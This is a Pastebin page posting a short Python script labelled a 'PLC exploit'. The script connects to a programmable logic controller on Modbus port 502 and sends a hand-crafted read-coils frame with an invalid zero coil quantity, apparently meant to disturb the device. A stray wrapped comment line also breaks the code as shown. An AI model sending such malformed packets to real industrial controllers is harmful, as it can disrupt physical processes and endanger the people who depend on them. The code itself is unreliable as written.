Advertisement
MilkBubblesPaste

PLC exploit in Python

Jan 31st, 2017
267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.42 KB | None | 0 0
  1. # Starting form the \x06 bit and down being the more important pieces
  2. # \x06 length
  3. # \x01 unit id
  4. # \x01 function code (read coils)
  5. # \x00\x00 start address
  6. # \x00\x00 coil quantity
  7.  
  8.  
  9. import sys
  10. import socket
  11.  
  12. new = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13. new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP
  14. Address
  15. new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x00')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement